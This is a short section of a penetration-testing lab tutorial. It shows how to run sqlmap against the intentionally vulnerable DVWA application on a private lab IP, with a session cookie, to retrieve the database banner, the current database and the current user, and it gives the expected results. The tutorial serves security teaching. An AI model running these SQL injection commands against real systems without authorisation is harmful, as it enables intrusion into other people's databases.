![syringe-code2](https://cdn.prod.website-files.com/63eef1be981a383fb127661f/646a249e9c5695b0a057c7f1_syringe-code2.jpeg)
Welcome back Cybrarians!Section 10: Using SqlMap to Obtain Current User and Database
- Verify sqlmap.py exists
- Instructions:
- cd /pentest/database/sqlmap
- ls -l sqlmap.py
![img-1](https://cdn.prod.website-files.com/63eef1be981a383fb127661f/646a249e9c5695b0a057c7f4_img-1.jpeg)
- Obtain Database User For DVWA
- Notes(FYI):
- Obtain the referer link from (Section 9, Step10), which is placed after the “-u” flag below.
- Obtain the cookie line from (Section 9, Step 10),which is placed after the “–cookie” flag below.
- Replace 192.168.1.106 with Fedora’s IP addressobtained in (Section 3, Step 3).
- Replace (lpb5g4uss9kp70p8jccjeks621) with yourPHPSESSID obtained from (Section 9, Step 10).
- Instructions:
- ./sqlmap.py -u“http://192.168.1.106/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit” —
- cookie=”PHPSESSID=lpb5g4uss9kp70p8jccjeks621;security=low” -b –current-db –current-user§ -u, Target URL§ –cookie, HTTP Cookie header§ -b, Retrieve DBMS banner§ –current-db, Retrieve DBMS current database§ –current-user, Retrieve DBMS current user
![img-2](https://cdn.prod.website-files.com/63eef1be981a383fb127661f/646a249e9c5695b0a057c7f7_img-2.jpeg)
- Do you want to keep testing?
- Instructions:
- keep testing? y
- skip payloads? y
![img-3](https://cdn.prod.website-files.com/63eef1be981a383fb127661f/646a249e9c5695b0a057c7fb_img-3.jpeg)
- Viewing Results
- Instructions:
- For the web application DVWA, the database nameis “dvwa” and the programs that communicate withthe database is “root@localhost”;
![img-4](https://cdn.prod.website-files.com/63eef1be981a383fb127661f/646a249e9c5695b0a057c7ff_img-4.jpeg)
….Ok, we’ll continue this in next part. Check out our social network site for hackers here >hcnepal.com